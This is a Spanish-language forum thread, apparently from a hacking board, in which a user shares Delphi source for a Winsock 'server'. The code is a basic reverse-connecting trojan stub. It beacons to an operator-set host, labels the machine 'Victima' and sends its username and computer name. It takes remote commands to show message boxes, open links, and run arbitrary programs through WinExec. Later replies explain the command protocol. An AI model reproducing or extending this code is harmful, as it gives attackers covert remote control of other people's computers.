hola despues de mucho tiempo sin conectarme he vuelto,bueno aqui les traigo un servidor, en el se encuentra el uso de winsock envio de datos a traves de particiones es basico y espero que les sirva

Código: Seleccionar todo

program  Server;

{$APPTYPE gui}

uses
  Winsock,
  Windows,
  UrlMon,
  ShellApi,
  SysUtils;


type
  TDynStringArray = array of string;


type
  TServer = class(TObject)
  Private
    hSocket:  TSocket;
    Addr:     TSockAddrIn;
    wsaData:  TWSAData;
  Public
    procedure Connect;
    procedure SendData(Data: String);
    procedure ReceiveData(Socket: TSocket; Buffer: PByte);
    function UserName(): string;
    function CompName(): string;
    function GetWindowsVersion(): string;
    function GetIPFromHost(const HostName: string): string;
    function Explode(const Separator, S :String; Limit :Integer = 0): TDynStringArray;
end;

var
  Server:   TServer;
  Close:    Boolean;
   VerInfo: TOsversionInfo;
  PlatformId, VersionNumber: string;

  //Connection settings
  hPort: Integer;
  hHost: String;



procedure TServer.ReceiveData(Socket: TSocket; Buffer: PByte);
var

  Dire : String;
  Data: String;
  strArr: TDynStringArray;
begin
Data := String(Buffer);
Data := Trim(Data);
if Length(Data) > 0 then begin

StrArr := Explode('|', Data);


  if StrArr[0] = 'mensaje' then begin
   MessageBox(0,pchar(StrArr[1]),pchar(StrArr[2]),MB_OK + MB_ICONERROR)
   end
  else
  if StrArr[0] = 'mensaje1' then begin
  MessageBox(0,pchar(StrArr[1]),pchar(StrArr[2]),MB_OK + MB_ICONWARNING)
    end
   else
if StrArr[0] = 'mensaje2' then begin
  MessageBox(0,pchar(StrArr[1]),pchar(StrArr[2]),MB_OK + MB_ICONINFORMATION)
   end
   else
 if StrArr[0] = 'Link' then begin
Dire := pchar(StrArr[1]);
HLinkNavigateString(NIL, PWideChar(WideString(Dire)) );
end
else
if StrArr[0] = 'ejecuta' then begin
WinExec(pchar(StrArr[1]),SW_SHOWNORMAL);
end;
end;
end;




procedure TServer.Connect;
var
  Buffer: Array[0..8192] Of Char;
  iRecv: Integer;
Begin
  if (WSAStartup($0202, wsaData) <> 0) then
  begin


    Readln;

    Exit;
  end;
  Close := False;
  repeat
hSocket := Socket(AF_INET, SOCK_STREAM, 0);
Addr.sin_family   := AF_INET;
Addr.sin_port     := htons(hPort);
Addr.sin_addr.S_addr := INET_ADDR(PChar(GetIPFromHost(hHost)));
if (Winsock.Connect(hSocket, Addr, SizeOf(Addr)) = 0) then
begin

SendData('ADDNEW|'+ 'Victima'+'|' + UserName + '|' + CompName + '|' + GetWindowsVersion  );


      ZeroMemory(@Buffer, SizeOf(Buffer));
      iRecv := Recv(hSocket, Buffer, SizeOf(Buffer), 0);
      while ((iRecv > 0) and (iRecv <> INVALID_SOCKET)) do
      begin
        ReceiveData(hSocket, @Buffer);
        ZeroMemory(@Buffer, SizeOf(Buffer));
        iRecv := Recv(hSocket, Buffer, SizeOf(Buffer), 0);
      end;



      CloseSocket(hSocket);
    end;


    Sleep(3000);
   until (Close);
  WSACleanup();
end;

function TServer.UserName(): string;
var
  User : array[0..255] of Char;
  SizeOfUser : Cardinal;
begin
  SizeOfUser := SizeOf(User);
  if GetUserName(User, SizeOfUser) = True then
    Result := string(User)
  else
  Result := 'Unknown';
end;

function TServer.CompName(): string;
var
  Comp : array[0..255] of Char;
  SizeOfComp : Cardinal;
begin
  SizeOfComp := SizeOf(Comp);
  if GetComputerName(Comp, SizeOfComp) = True then
    Result := string(Comp)
  else
  Result := 'Unknown';
end;
function TServer.GetWindowsVersion: string;


begin

end;

function TServer.GetIPFromHost(const HostName: string): string;
type
  TaPInAddr = array[0..10] of PInAddr;
  PaPInAddr = ^TaPInAddr;
var
  phe: PHostEnt;
  pptr: PaPInAddr;
  i: Integer;
begin
  Result := '';
  phe := GetHostByName(PChar(HostName));
  if phe = nil then Exit;
  pPtr := PaPInAddr(phe^.h_addr_list);
  i := 0;
  while pPtr^[i] <> nil do
  begin
    Result := inet_ntoa(pptr^[i]^);
    Inc(i);
  end;
end;


function TServer.Explode(const Separator, S :String; Limit :Integer = 0): TDynStringArray;
  var
    SepLen: Integer;
    F, P: PChar;
begin
  SetLength(Result, 0);
  if (S = '') or (Limit < 0) then
    Exit;
  if Separator = '' then
    begin
      SetLength(Result, 1);
      Result[0] := S;
      Exit;
    end;
  SepLen := Length(Separator);

  P := PChar(S);
  while P^ <> #0 do
    begin
      F := P;
      P := AnsiStrPos(P, PChar(Separator));
      if (P = nil) or ((Limit > 0) and (Length(Result) = Limit - 1)) then
        P := StrEnd(F);
      SetLength(Result, Length(Result) + 1);
      SetString(Result[High(Result)], F, P - F);
      F := P;
      if P = Separator then
        SetLength(Result, Length(Result) + 1);
      while (P^ <> #0) and (P - F < SepLen) do
        Inc(P);
    end;
end;

procedure TServer.SendData(Data: String);
var
  Len: LongInt;
begin
  Len := Length(Data);
  Send(hSocket, Data[1], Len, 0);
end;

begin

  Server := TServer.Create;
  hHost := 'tu ip';
  hPort := 3111;

  Server.Connect;
end.

la verdad no entiendo nada del tema pero quiero aprender
si eres tan amable y me das una mano se lo que es y para q sirve
pero me dejastes quieto
para cache y los que son nuevos en esto de la programacion
esta copilado en se es una aplicacion de tipo gui,usa las apis de winsock, para conectarse usa un ip y un ip para conectarse,recibe datos las guarda en una variable y las separa con un "|"
si el cliente envia una funcion conocida como 'mensaje' en la cabezera de los datos entonses
crea un mensage box con los siguientes dos datos separados de una "|"
if StrArr[0] = 'mensaje' then begin
MessageBox(0,pchar(StrArr[1]),pchar(StrArr[2]),MB_OK + MB_ICONERROR)

para esto el cliente tendria que enviar esto

SendData('mensaje|'+ 'indetectables'+'|' '+ ya regrese'
Responder

Volver a “Otros lenguajes”